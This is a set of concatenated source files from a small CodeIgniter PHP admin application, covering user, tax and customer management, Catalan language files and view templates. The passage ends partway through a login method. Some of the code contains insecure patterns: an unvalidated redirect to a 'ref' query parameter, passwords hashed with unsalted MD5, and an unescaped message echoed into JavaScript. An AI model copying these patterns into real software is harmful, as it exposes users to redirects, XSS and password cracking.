$lang['db_column_definition_required'] = 'És necessària una definició de columna per aquesta operació.';
$lang['db_unable_to_set_charset'] = 'Impossible establir el joc de caràcters de connexió del client: %s';
$lang['db_error_heading'] = 'Error a la Base de Dades';
$lang[''] = '';
?><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Alert
*
* Alert library
*
* @author marc
*
*/
class Alert
{
private $_CI;
private $_type;
private $_message;
/**
* Constructor method
*/
function __construct()
{
$this->_CI =& get_instance();
$this->_CI->load->library( array( 'session' ) );
}
// -----------------------------------------------------------------------
/**
* set method
*
* @access public
*/
function set( $type, $message, $flash = FALSE )
{
if($flash) {
$this->_CI->session->set_flashdata( 'type', $type );
$this->_CI->session->set_flashdata( 'message', $message );
}
$this->_type = $type;
$this->_message = $message;
}
// -----------------------------------------------------------------------
/**
* get method
*
* @access public
*/
function get()
{
if( $this->_CI->session->flashdata( 'type' ) ) {
$this->_type = $this->_CI->session->flashdata( 'type' );
$this->_message = $this->_CI->session->flashdata( 'message' );
}
if( empty( $this->_message ) ) {
return FALSE;
}
return array( "type" => $this->_type, "message" => $this->_message );
}
}<file_sep><div class="list-group">
<a class="list-group-item text-center tip <?php echo $this->uri->rsegment( 1 ) == 'users' ? 'active' : ''; ?>"
data-placement="right" data-toggle="tooltip" title="Users" href="<?php echo site_url( 'users' ); ?>">
<span class="glyphicon glyphicon-briefcase"></span>
</a>
</div><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Language Class
*
* @author marc
*
*/
class Language extends CI_Controller
{
/**
* Constructor method
*/
public function __construct()
{
parent::__construct();
}
// -----------------------------------------------------------------------
/**
* index method
*
* @access public
*/
public function index()
{
$this->english();
}
public function english()
{
$this->lang->load( 'labels', 'english' );
$cookie = array(
'name' => 'LANGUAGE',
'value' => 'english',
'expire' => 604800
);
$this->input->set_cookie( $cookie );
header( "location: ".$_GET["ref"] );
}
public function catalan()
{
//$this->lang->load( 'labels', 'catalan' );
$cookie = array(
'name' => 'LANGUAGE',
'value' => 'catalan',
'expire' => 604800
);
$this->input->set_cookie($cookie);
header("location: ".$_GET["ref"]);
}
}<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Users Class
*
* @author marc
*
*/
class Users extends MY_Controller {
var $fields = array('login'=>'', 'password'=>'', 'active'=>1, 'sex'=>0,
'color'=>array(), 'description'=>'');
/**
* Constructor
*/
public function __construct()
{
parent::__construct();
log_message('debug', "Users Class Initialized");
//$this->output->enable_profiler();
$this->load->model('user_model');
}
// --------------------------------------------------------------------
/**
* Index method
*
* @access public
*/
public function index()
{
$this->load->library(array('table'));
$this->load->helper(array('form'));
$this->table->set_heading(
'id', 'login', 'created', 'last_update', 'active');
$this->table->set_template(
array('table_open'=>'<table class="table table-condensed table-hover" id="datatable_users">'));
$data = $this->user_model->get_all();
if($data !== FALSE)
{
foreach($data as $user)
{
$this->table->add_row(
$user['id'],
anchor(current_url().'/edit/'.$user['id'], $user['login']),
date('Y-m-d H:i:s', strtotime($user['created'])),
date('Y-m-d H:i:s',strtotime($user['last_update'])),
form_checkbox(array('name'=>'active', 'value'=>1,
'checked'=>$user['active']))
);
}
}
else
{
set_error($this->user_model->get_error());
}
$this->data['table'] = $this->table->generate();
$this->_load_view('index_view');
}
// --------------------------------------------------------------------
/**
* Add method
*
* @access public
*/
public function add()
{
$this->load->library(array('form_validation'));
$this->load->helper(array('form'));
if($this->input->post('submit'))
{
$this->_set_form_rules();
// extra rules
$this->form_validation->set_rules(
'password', lang('user_form_password'),
"required|trim|xss_clean|min_length[2]|max_length[25]|alpha_dash|matches[confirm_password]");
$this->form_validation->set_rules(
'confirm_password', lang('user_form_confirm_password'),
'trim|required|xss_clean|matches[password]');
if($this->form_validation->run())
{
$data = $this->_get_post();
if($this->user_model->insert($data) === TRUE)
{
set_success(lang('xml_db_item_saved'), TRUE);
redirect(current_url());
}
set_error($this->user_model->get_error());
}
}
$this->_set_form_values();
$this->_load_view('edit_view');
}
// --------------------------------------------------------------------
/**
* Edit method
*
* @access public
*/
public function edit()
{
$this->load->library(array('form_validation'));
$this->load->helper(array('form', 'myurl'));
$id = $this->uri->rsegment(3);
if($id === FALSE)
redirect_current_controller();
if($this->input->post('delete'))
{
if($this->user_model->delete($id) === TRUE)
{
set_success(lang('xml_db_item_deleted'), TRUE);
redirect_current_controller();
}
// repopulate fields and show error
$this->_set_form_values();
set_error($this->user_model->get_error());
}
elseif($this->input->post())
{
$this->_set_form_rules();
// extra rules
$this->form_validation->set_rules(
'password', lang('user_form_password'),
"trim|xss_clean|alpha_dash|matches[confirm_password]");
$this->form_validation->set_rules(
'confirm_password', lang('user_form_confirm_password'),
'trim|xss_clean|matches[password]');
if($this->form_validation->run())
{
$data = $this->_get_post();
if(isset($data['password']))
if(empty($data['password']))
unset($data['password']);
if($this->user_model->update($id, $data) === TRUE)
{
set_success(lang('xml_db_item_saved'));
}
else
{
set_error($this->user_model->get_error());
}
}
$this->_set_form_values();
}
else
{
$data = $this->user_model->get_by_id($id);
if($data === FALSE)
{
set_warning($this->user_model->get_error(), TRUE);
redirect_current_controller();
}
$this->_set_form_values($data);
}
$this->_load_view('edit_view');
}
// --------------------------------------------------------------------
/**
* edit_ajax method
*
* @access public
* @return array
*/
public function edit_ajax()
{
$id = $this->uri->rsegment(3);
if($this->input->is_ajax_request() && $this->input->post() && $id !== FALSE)
{
if($this->user_model->update($id, $this->_get_post()) === FALSE)
{
set_error($this->user_model->get_error());
$result = array('error'=>1, 'type'=>'error',
'message'=>$error);
}
else
{
set_success(lang('xml_db_item_saved'));
$result = array('error'=>0, 'type'=>'success',
'message'=>lang('xml_db_update_success'));
}
header('Content-Type: application/json', true);
echo json_encode($result);
}
}
// --------------------------------------------------------------------
/**
* delete method
*
* @access public
*/
public function delete()
{
$this->load->helper(array('myurl'));
if($this->input->post())
{
$ids = $this->input->post('ids');
$values = explode(",", $ids);
$it = 0;
foreach($values as $id)
{
if($this->user_model->delete($id))
$it ++;
}
if($it == count($values))
set_success(lang('xml_db_item_deleted'), TRUE);
else
set_warning($it . '/' . count($values) . ' ' .
lang('xml_db_item_deleted'), TRUE);
redirect_current_controller();
}
}
// --------------------------------------------------------------------
/**
* _get_post method
*
* @access private
* @return array
*/
private function _get_post()
{
$data = array();
foreach($this->fields as $k=>$v)
{
if($this->input->post($k) !== FALSE)
$data[$k] = $this->input->post($k);
}
return $data;
}
// --------------------------------------------------------------------
/**
* _set_form_values method
*
* @access private
* @param array
*/
private function _set_form_values($data = FALSE)
{
if($data === FALSE)
{
$data = $this->_get_post();
foreach($this->fields as $k=>$v)
if(!isset($data[$k]))
$data[$k] = $this->fields[$k];
}
$this->data['field'] = $data;
}
// --------------------------------------------------------------------
/**
* _set_form_rules method
*
* @access private
*/
private function _set_form_rules()
{
$this->form_validation->set_rules(
'login', lang('user_form_login'),
"trim|required|xss_clean|min_length[2]|max_length[25]|alpha_dash");
$this->form_validation->set_rules(
'sex', lang('user_form_sex'), "required");
$this->form_validation->set_rules(
'description', lang('user_form_description'),
"trim|xss_clean|max_length[200]");
}
}<file_sep><script type="text/javascript">
<!--
$(document).ready(function() {
/* Init DataTables */
var oTable = $('#datatable_customers').dataTableInit().dataTableClick();
/* Add events */
oTable.on('click', 'tbody tr', function(event){
var $target = $(event.target);
if($target.is('td')) {
if(oTable.getSelected().length > 0)
$('#toolbar_delete').show();
else
$('#toolbar_delete').hide();
}
});
$('#toolbar_delete').on('click', function (event) {
if(confirm("<?=lang('are_you_sure')?>")) {
$('input[name=ids]').val(oTable.getSelected());
$('#delete_form').submit();
}
});
$('div.dataTables_filter input').focus();
$('#toolbar_delete').hide();
});
//-->
</script>
<?=form_open(current_url().'/delete', array('id'=>'delete_form'), array('ids'=>''))?>
<?=form_close()?>
<div class="row">
<div class="span">
<?=anchor(current_url().'/add', '<i class="icon-plus"></i> ' .
lang('toolbar_add_item'), 'class="btn"')?>
<span id="toolbar_delete" class="btn btn-danger">
<i class="icon-remove icon-white"></i>
<?=lang('toolbar_delete_items')?>
</span>
</div>
</div>
<?=$table?><file_sep><?php
// TABLE
$lang['table_header_username'] = 'Username';
$lang['table_header_password'] = '<PASSWORD>';
// FORM
$lang['form_label_username'] = 'Username';
$lang['form_label_password'] = '<PASSWORD>';<file_sep><?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/**
* Name: MY_Controller
*
*/
class MY_Controller extends CI_Controller {
var $data = array();
/**
* Constructor
*/
public function __construct()
{
parent::__construct();
if(!logged_in())
redirect('auth');
$this->load->helper('message');
$this->load->library(array('message'));
}
// --------------------------------------------------------------------
/**
* _load_view method
*
* @access protected
*/
protected function _load_view($view)
{
$dir = $this->router->fetch_directory();
$cls = $this->router->fetch_class();
$this->load->view('header_view');
$this->load->view('nav_view');
$this->load->view('breadcrumb_view');
$this->load->view('validation_view');
$this->load->view($dir . $cls . '/' . $view, $this->data);
$this->load->view('footer_view');
$this->load->view('message_view', array(
'type'=>$this->message->get_type(),
'message'=>$this->message->get_message()));
}
}<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Alert Helpers
*/
// ------------------------------------------------------------------------
if ( ! function_exists( 'set_success' ) ) {
function set_success( $message, $flash = FALSE ) {
$CI =& get_instance();
$CI->load->library( array( 'alert' ) );
$CI->alert->set( 'success', $message, $flash );
}
}
if ( ! function_exists( 'set_info' ) ) {
function set_info( $message, $flash = FALSE ) {
$CI =& get_instance();
$CI->load->library( array( 'alert' ) );
$CI->alert->set( 'info', $message, $flash );
}
}
if ( ! function_exists( 'set_warning' ) ) {
function set_warning( $message, $flash = FALSE ) {
$CI =& get_instance();
$CI->load->library( array( 'alert' ) );
$CI->alert->set( 'warning', $message, $flash );
}
}
if ( ! function_exists( 'set_error' ) ) {
function set_error( $message, $flash = FALSE ) {
$CI =& get_instance();
$CI->load->library( array( 'alert' ) );
$CI->alert->set( 'danger', $message, $flash );
}
}
if ( ! function_exists( 'get_alert' ) ) {
function get_alert() {
$CI =& get_instance();
$CI->load->library( array( 'alert' ) );
return $CI->alert->get();
}
}
// ------------------------------------------------------------------------
/* End of file xml_helper.php */
/* Location: ./system/helpers/xml_helper.php */<file_sep><div id="validation_errors" class="alert alert-error hide"
style="cursor:pointer;" onclick="$(this).hide();">
<?=validation_errors()?>
</div><file_sep><?php echo doctype( 'html5' ); ?>
<html lang="es">
<head>
<?php echo meta( 'Content-type', 'text/html; charset=utf-8', 'equiv' ); ?>
<!-- start: Mobile Specific -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<!-- end: Mobile Specific -->
<title><?php echo $this->config->item('title'); ?></title>
<?php echo link_tag( '../assets/lib/bootstrap-3.3.4/css/bootstrap.min.css' ); ?>
<?php echo link_tag( 'assets/lib/bootstrap-table/dist/bootstrap-table.min.css' ); ?>
<?php echo link_tag( 'assets/css/style.css' ); ?>
<script type="text/javascript" src="<?php echo base_url( '../assets/lib/jquery-2.1.3/jquery-2.1.3.min.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( '../assets/lib/jquery-ui-1.11.4/jquery-ui.min.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( '../assets/lib/bootstrap-3.3.4/js/bootstrap.min.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( 'assets/lib/DataTables-1.10.6/media/js/jquery.dataTables.min.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( 'assets/js/dataTables.bootstrap.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( 'assets/js/jquery.app-alert.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( 'assets/js/jquery.app-ajax.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( 'assets/lib/bootstrap-table/dist/bootstrap-table.min.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( 'assets/js/default.js' ); ?>"></script>
<link rel="shortcut icon" href="<?php echo base_url( 'favicon.ico' ); ?>">
</head>
<body>
<?php echo $this->load->view( 'navbar_view' ); ?>
<div class="container-fluid">
<div class="row">
<div class="hidden-xs hidden-sm col-md-1 hidden-print" role="navigation">
<?php echo $this->load->view( 'toolbar_view' ); ?>
</div>
<div class="col-xs-12 col-xs-12 col-md-11"><file_sep><?php
$lang['ftp_no_connection'] = 'No s\'ha pogut localitzar una identificació de connexió vàlida. Si us plau, asseguri\'s que està connectat abans de realitzar qualsevol rutina amb arxius.';
$lang['ftp_unable_to_connect'] = 'No s\'ha pogut connectar al seu servidor FTP amb el nom d\'"host" introduït.';
$lang['ftp_unable_to_login'] = 'No s\'ha pogut accedir al seu servidor FTP. Siusplau, comprovi el seu nom d\'usuari i contrassenya.';
$lang['ftp_unable_to_makdir'] = 'No s\'ha pogut crear el directori que s\'ha especificat.';
$lang['ftp_unable_to_changedir'] = 'No s\'ha pogut canviar el directori.';
$lang['ftp_unable_to_chmod'] = 'No és possible establir permisos d\'arxius. Si us plau, comprovi la ruta. Nota: Aquesta funció només està disponible en PHP 5 o superior.';
$lang['ftp_unable_to_upload'] = 'No s\'ha pogut carregar l\'arxiu especificat. Si us plau comprovi la ruta.';
$lang['ftp_unable_to_download'] = '';
$lang['ftp_no_source_file'] = 'No es troba l\'arxiu d\'origen. Si us plau, comprovi la ruta.';
$lang['ftp_unable_to_rename'] = 'No s\'ha pogut reanomenar l\'arxiu.';
$lang['ftp_unable_to_delete'] = 'No s\'ha pogut eliminar l\'arxiu.';
$lang['ftp_unable_to_move'] = 'No és possible moure l\'arxiu. Si us plau, asseguri\'s que el directori de destinació existeix.';
$lang[''] = '';
?><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Customers_model extends CI_Model {
private $table = 'customers';
function __construct()
{
parent::__construct();
$this->load->library(array('xml_db'));
}
function insert($data)
{
return $this->xml_db->insert($this->table, $data);
}
function update($id, $data)
{
$data['id'] = $id;
return $this->xml_db->update($this->table, $data);
}
function get_all($fields = FALSE)
{
$result = $this->xml_db->get($this->table);
return $result;
}
function get_list()
{
$result = $this->xml_db->get($this->table);
$arr = array();
foreach($result as $r)
{
$arr[$r['id']] = $r['name'];
}
return $arr;
}
function get_by_id($id)
{
$result = $this->xml_db->get($this->table, $id);
return $result;
}
function delete($id)
{
return $this->xml_db->delete($this->table, $id);
}
function get_error()
{
return $this->xml_db->get_error();
}
}<file_sep><?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/**
* MY_Controller Class
*
* @author marc
*
*/
class MY_Controller extends MX_Controller
{
protected $data = array();
/**
* Constructor method
*/
public function __construct()
{
parent::__construct();
}
// --------------------------------------------------------------------
/**
* _load_view method
*
* @access protected
*/
protected function _load_view( $view )
{
$this->load->view( 'header_view' );
$this->load->view( $view, $this->data );
$this->load->view( 'footer_view' );
}
}<file_sep><?php
$label_attributes = array('class'=>'control-label');
$name = array('id'=>'name', 'name'=>'name',
'value'=>$field['name'], 'class'=>'span4',
'autofocus'=>'autofocus');
$description = array('id'=>'description', 'name'=>'description',
'value'=>$field['description'], 'class'=>'span6', 'rows'=>4);
$unit = array('id'=>'unit', 'name'=>'unit', 'value'=>$field['unit'],
'class'=>'span2');
$price = array('id'=>'price', 'name'=>'price', 'value'=>$field['price'],
'class'=>'span2');
$submit = array('name'=>'submit', 'value'=>'submit',
'class'=>'btn', 'type'=>'submit',
'content'=>'<i class="icon-ok"></i> '.lang('form_submit'));
$delete = array('name'=>'delete', 'value'=>'delete',
'class'=>'btn btn-danger', 'type'=>'submit',
'content'=>'<i class="icon-remove icon-white"></i> '.lang('form_delete'),
'onclick'=>'return confirm(\''.lang('are_you_sure').'\')');
?>
<?=form_open()?>
<div class="row">
<div class="span4">
<?php $error = form_error('name')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('products_form_name') . ' *', 'name',
$label_attributes)?>
<div class="controls">
<?=form_input($name)?>
</div>
</div>
</div>
</div>
<div class="row">
<div class="span4">
<?php $error = form_error('description')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('products_form_description'), 'description', $label_attributes)?>
<div class="controls">
<?=form_textarea($description)?>
</div>
</div>
</div>
</div>
<div class="row">
<div class="span2">
<?php $error = form_error('unit')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('products_form_unit'), 'unit',
$label_attributes)?>
<div class="controls">
<?=form_input($unit)?>
</div>
</div>
</div>
<div class="span2">
<?php $error = form_error('price')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('products_form_price'), 'price',
$label_attributes)?>
<div class="controls">
<?=form_input($price)?>
</div>
</div>
</div>
</div>
<p class="muted">* Required field</p>
<div class="form-actions">
<?=form_button($submit)?>
<div class="span pull-right">
<?php if($this->uri->rsegment(3)) : ?>
<?=form_button($delete)?>
<?php endif; ?>
</div>
</div>
<?=form_close()?>
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Index Class
*
* @author marc
*
*/
class Taxes extends MY_Controller {
var $fields = array('description'=>'', 'rate'=>'');
/**
* Constructor
*/
public function __construct()
{
parent::__construct();
$this->load->model('taxes_model', 'model');
}
// --------------------------------------------------------------------
/**
* Index method
*
* @access public
*/
public function index()
{
$this->load->library(array('table'));
$this->load->helper(array('form'));
$this->table->set_heading('id', 'description', 'rate');
$this->table->set_template(array('table_open'=>
'<table class="table table-condensed table-hover" id="datatable_taxes">'));
$data = $this->model->get_all();
if($data !== FALSE)
{
foreach($data as $field)
{
$this->table->add_row(
$field['id'],
anchor(current_url().'/edit/'.$field['id'], $field['description']),
$field['rate']);
}
}
else
{
set_error($this->model->get_error());
}
$this->data['table'] = $this->table->generate();
$this->_load_view('index_view');
}
// --------------------------------------------------------------------
/**
* Add method
*
* @access public
*/
public function add()
{
$this->load->library(array('form_validation'));
$this->load->helper(array('form'));
if($this->input->post('submit'))
{
$this->_set_form_rules();
if($this->form_validation->run())
{
$data = $this->_get_post();
if($this->model->insert($data) === TRUE)
{
set_success(lang('xml_db_item_saved'), TRUE);
redirect(current_url());
}
set_error($this->model->get_error());
}
}
$this->_set_form_values();
$this->_load_view('edit_view');
}
// --------------------------------------------------------------------
/**
* Edit method
*
* @access public
*/
public function edit()
{
$this->load->library(array('form_validation'));
$this->load->helper(array('form', 'myurl'));
$id = $this->uri->rsegment(3);
if($id === FALSE)
redirect_current_controller();
if($this->input->post('delete'))
{
if($this->model->delete($id) === TRUE)
{
set_success(lang('xml_db_item_deleted'), TRUE);
redirect_current_controller();
}
// repopulate fields and show error
$this->_set_form_values();
set_error($this->model->get_error());
}
elseif($this->input->post())
{
$this->_set_form_rules();
if($this->form_validation->run())
{
$data = $this->_get_post();
if($this->model->update($id, $data) === TRUE)
{
set_success(lang('xml_db_item_saved'));
}
else
{
set_error($this->model->get_error());
}
}
$this->_set_form_values();
}
else
{
$data = $this->model->get_by_id($id);
if($data === FALSE)
{
set_warning($this->model->get_error(), TRUE);
redirect_current_controller();
}
$this->_set_form_values($data);
}
$this->_load_view('edit_view');
}
// --------------------------------------------------------------------
/**
* delete method
*
* @access public
*/
public function delete()
{
$this->load->helper(array('myurl'));
if($this->input->post())
{
$ids = $this->input->post('ids');
$values = explode(",", $ids);
$it = 0;
foreach($values as $id)
{
if($this->model->delete($id))
$it ++;
}
if($it == count($values))
set_success(lang('xml_db_item_deleted'), TRUE);
else
set_warning($it . '/' . count($values) . ' ' .
lang('xml_db_item_deleted'), TRUE);
redirect_current_controller();
}
}
// --------------------------------------------------------------------
/**
* _get_post method
*
* @access private
* @return array
*/
private function _get_post()
{
$data = array();
foreach($this->fields as $k=>$v)
{
if($this->input->post($k) !== FALSE)
$data[$k] = $this->input->post($k);
}
return $data;
}
// --------------------------------------------------------------------
/**
* _set_form_values method
*
* @access private
* @param array
*/
private function _set_form_values($data = FALSE)
{
if($data === FALSE)
{
$data = $this->_get_post();
foreach($this->fields as $k=>$v)
if(!isset($data[$k]))
$data[$k] = $this->fields[$k];
}
$this->data['field'] = $data;
}
// --------------------------------------------------------------------
/**
* _set_form_rules method
*
* @access private
*/
private function _set_form_rules()
{
$this->form_validation->set_rules(
'description', lang('tax_form_description'),
"trim|required|xss_clean|min_length[2]|max_length[25]");
}
}<file_sep>$(document).ready(function() {
$('.tip').tooltip();
});
$.fn.dataTableInit = function (params) {
this.dataTable(jQuery.extend({}, {
"sDom":"<'row'<'col-xs-6'l><'col-xs-6 text-right'f>>tr<'row'<'col-xs-6'i><'col-xs-6 text-right'p>>",
"oLanguage": {
"sProcessing": "Procesando...",
"sLengthMenu": "_MENU_",
"sZeroRecords": "No se encontraron resultados",
"sEmptyTable": "Ningún dato disponible en esta tabla",
//"sInfo": "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros",
"sInfo": "_START_ - _END_ : _TOTAL_ (_MAX_ registros en total)",
//"sInfoEmpty": "Mostrando registros del 0 al 0 de un total de 0 registros",
"sInfoEmpty": "0 registros (_MAX_ registros en total)",
//"sInfoFiltered": "(filtrado de un total de _MAX_ registros)",
"sInfoFiltered": "",
"sInfoPostFix": "",
"sSearch": "",
"sUrl": "",
"sInfoThousands": ",",
"sLoadingRecords": "Cargando...",
"oPaginate": {
"sFirst": '<span class="glyphicon glyphicon-fast-backward"></span>',
"sLast": '<span class="glyphicon glyphicon-fast-forward"></span>',
"sNext": '<span class="glyphicon glyphicon-forward"></span>',
"sPrevious": '<span class="glyphicon glyphicon-backward"></span>'
},
"oAria": {
"sSortAscending": ": Activar para ordenar la columna de manera ascendente",
"sSortDescending": ": Activar para ordenar la columna de manera descendente"
}
},
"bServerSide": true,
"bStateSave": true,
"sPaginationType": "full",
"bAutoWidth" : false,
"fnServerData": function ( sSource, aoData, fnCallback ) {
$.appAjax(sSource, {
data:aoData,
success: function(json) {
fnCallback(json);
}
});
},
"fnInitComplete": function() {
var table = this;
$( ".dataTables_filter input" ).wrap('<div class="input-group">');
$( ".dataTables_filter input" ).after('<span class="input-group-btn"><button class="btn btn-default input-sm" type="button"><span class="glyphicon glyphicon-remove"></span></button></span>');
$('.dataTables_filter button').click(function(event){
table.fnFilter('');
$('.dataTables_filter input').css('background', 'white');
$('.dataTables_filter input').focus();
});
if($('.dataTables_filter input').val().length)
$('.dataTables_filter input').css('background', 'yellow');
$('.dataTables_filter input').on('keydown', function(){
var field = $(this);
setTimeout(function () {
if (field.val().length == 0) {
field.css('background', 'white');
} else {
field.css('background', 'yellow');
}
}, 1);
});
}
}, params));
return this;
};<file_sep><?php
$lang['required'] = 'El camp %s és necessari.';
$lang['isset'] = 'El camp %s ha de contenir un valor.';
$lang['valid_email'] = 'El camp %s ha de contenir una direcció de correu vàlida.';
$lang['valid_emails'] = 'El camp %s ha de contenir totes les direccions de correu vàlides.';
$lang['valid_url'] = 'El camp %s ha de contenir una URL vàlida.';
$lang['valid_ip'] = 'El camp %s ha de contenir una direcció IP vàlida.';
$lang['min_length'] = 'El camp %s ha de contenir almenys %s caràcters de longitud.';
$lang['max_length'] = 'El camp %s no ha d\'excedir %s caràcters de longitud.';
$lang['exact_length'] = 'El camp %s ha de tenir exactament %s caràcters de longitud.';
$lang['alpha'] = 'El camp %s només pot contenir caràcters alfabètics';
$lang['alpha_numeric'] = 'El camp %s només pot contenir caràcters alfanumèrics.';
$lang['alpha_dash'] = 'El camp %s només pot contenir caràcters alfanumèrics, guions baixos i salts.';
$lang['numeric'] = 'El camp %s ha de contenir un número.';
$lang['integer'] = 'El camp %s ha de contenir un número enter.';
$lang['matches'] = 'El camp %s no és igual al camp %s.';
?><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Messages extends MY_Controller {
public function __construct()
{
parent::__construct();
//$this->output->enable_profiler();
$this->load->library(array('xml_db', 'table'));
$this->load->helper(array('form', 'myurl'));
$this->header_data['title'] = "Application - Messages";
}
public function index()
{
$this->table->set_heading('date', 'login', 'section', 'type', 'message');
$this->table->set_template(
array('table_open'=>'<table class="table table-condensed table-hover" id="datatable_messages">'));
$data = $this->xml_db->get('messages');
if($data === FALSE)
{
set_error($this->xml_db->get_error());
}
else
{
foreach($data as $message)
{
$this->table->add_row(
date('Y-m-d H:i:s',strtotime($message['date'])),
$message['login'],
$message['section'],
$message['type'],
$message['message']
);
}
}
$this->data['table'] = $this->table->generate();
$this->_load_view('index_view');
}
public function delete()
{
$result = $this->xml_db->create('messages');
if(!$result)
set_error($this->xml_db->get_error(), TRUE);
else
set_success(lang('xml_db_item_deleted'), TRUE);
redirect_current_controller();
}
}<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class User_model extends CI_Model {
private $table = 'users';
function __construct()
{
parent::__construct();
$this->load->library(array('xml_db'));
}
function insert($data)
{
$data['password'] = md5($data['password']);
if(is_array($data['color']))
$data['color'] = implode(',', $data['color']);
$data['created'] = date(DATE_ISO8601);
$data['last_update'] = date(DATE_ISO8601);
return $this->xml_db->insert($this->table, $data);
}
function update($id, $data)
{
if(isset($data['password']))
$data['password'] = md5($data['password']);
if(isset($data['color']))
if(is_array($data['color']))
$data['color'] = implode(',', $data['color']);
$data['id'] = $id;
$data['last_update'] = date(DATE_ISO8601);
return $this->xml_db->update($this->table, $data);
}
function get_all()
{
$result = $this->xml_db->get($this->table);
foreach($result as $res)
{
$res['color'] = explode(',', $res['color']);
}
return $result;
}
function get_by_id($id)
{
$result = $this->xml_db->get($this->table, $id);
if($result !== FALSE)
{
$result['color'] = explode(',', $result['color']);
}
return $result;
}
function delete($id)
{
return $this->xml_db->delete($this->table, $id);
}
function get_error()
{
return $this->xml_db->get_error();
}
}<file_sep>
</div> <!-- container -->
<!-- langargs($this->lang->line('page_loaded'), $this->benchmark->elapsed_time())?> -->
<footer>
</footer>
</body>
</html><file_sep><?php
$lang['ut_test_name'] = 'Nom del test';
$lang['ut_test_datatype'] = 'Tipus de dades del test';
$lang['ut_res_datatype'] = 'Tipus de dades esperats';
$lang['ut_result'] = 'Resultat';
$lang['ut_undefined'] = 'Nom del test no definit';
$lang['ut_file'] = 'Nom del fitxer';
$lang['ut_line'] = 'Número de línia';
$lang['ut_passed'] = 'Correcte';
$lang['ut_failed'] = 'Error';
$lang['ut_boolean'] = 'Boolean';
$lang['ut_integer'] = 'Integer';
$lang['ut_float'] = 'Float';
$lang['ut_double'] = 'Float';
$lang['ut_string'] = 'String';
$lang['ut_array'] = 'Array';
$lang['ut_object'] = 'Object';
$lang['ut_resource'] = 'Resource';
$lang['ut_null'] = 'Null';
$lang['ut_notes'] = '';
$lang[''] = '';
?><file_sep><?php
$label_attributes = array('class'=>'control-label');
$login = array('id'=>'login', 'name'=>'login', 'value'=>set_value('login', 'admin'),
'style'=>'', 'class'=>'span4', 'autofocus'=>'autofocus');
$password = array('id'=>'password', 'name'=>'password', 'value'=>'<PASSWORD>',
'style'=>'', 'class'=>'span4', 'type'=>'password');
$remember = array('id'=>'remember', 'name'=>'remember', 'value'=>1,
'class'=>'', 'checked'=>set_value('remember', 1));
$submit = array('name'=>'submit', 'value'=>'submit',
'class'=>'btn btn-primary', 'type'=>'submit',
'content'=>'<i class="icon-ok icon-white"></i> ' . lang('auth_form_submit'))
?>
<div class="row" style="margin-top:5em;">
<div class="span4 well" style="margin:0px auto;float:none;">
<?=form_open()?>
<fieldset>
<legend>Login</legend>
<div class="control-group">
<?=form_label(lang('user_form_login'), 'login', $label_attributes)?>
<div class="controls">
<?=form_input($login)?>
</div>
</div>
<div class="control-group">
<?=form_label(lang('auth_form_password'), 'password',
$label_attributes)?>
<div class="controls">
<?=form_input($password)?>
</div>
</div>
<?=validation_errors('<div class="control-group error" onclick="this.style.display=\'none\'"><label class="control-label">', '</label></div>')?>
<div class="row">
<div class="span2">
<div class="control-group">
<div class="controls">
<?=form_label(form_checkbox($remember) .
lang('auth_form_remember'),
'remember', array('class'=>'checkbox'))?>
</div>
</div>
</div>
<div class="span2">
<div class="control-group pull-right">
<div class="controls">
<?=form_button($submit)?>
</div>
</div>
</div>
</div>
</fieldset>
<?=form_close()?>
</div>
</div>
<file_sep><?php if($message) :?>
<script type="text/javascript">
<!--
jQuery.message('<?=$type?>', '<?=$message?>');
-->
</script>
<?php endif; ?><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Message Helpers
*
* @package CodeIgniter
* @subpackage Helpers
* @category Helpers
* @author ExpressionEngine Dev Team
* @link http://codeigniter.com/user_guide/helpers/xml_helper.html
*/
// ------------------------------------------------------------------------
if ( ! function_exists('set_success'))
{
function set_success($message, $flash = FALSE)
{
$CI =& get_instance();
$CI->load->library(array('message'));
$CI->message->set_message('success', $message, $flash);
}
}
if ( ! function_exists('set_info'))
{
function set_info($message, $flash = FALSE)
{
$CI =& get_instance();
$CI->load->library(array('message'));
$CI->message->set_message('info', $message, $flash);
}
}
if ( ! function_exists('set_warning'))
{
function set_warning($message, $flash = FALSE)
{
$CI =& get_instance();
$CI->load->library(array('message'));
$CI->message->set_message('warning', $message, $flash);
}
}
if ( ! function_exists('set_error'))
{
function set_error($message, $flash = FALSE)
{
$CI =& get_instance();
$CI->load->library(array('message'));
$CI->message->set_message('error', $message, $flash);
}
}
// ------------------------------------------------------------------------
/* End of file xml_helper.php */
/* Location: ./system/helpers/xml_helper.php */<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Home Class
*
* @author marc
*
*/
class Home extends MY_Controller
{
/**
* Constructor method
*/
public function __construct()
{
parent::__construct();
}
// -----------------------------------------------------------------------
/**
* index method
*
* @access public
*/
public function index()
{
redirect( 'home/login' );
}
// --------------------------------------------------------------------
/**
* login method
*
* @access public
*/
public function login()
{
$this->load->helper( array( 'form' ) );
$this->_set_form_values();
if( $this->input->post() ) {
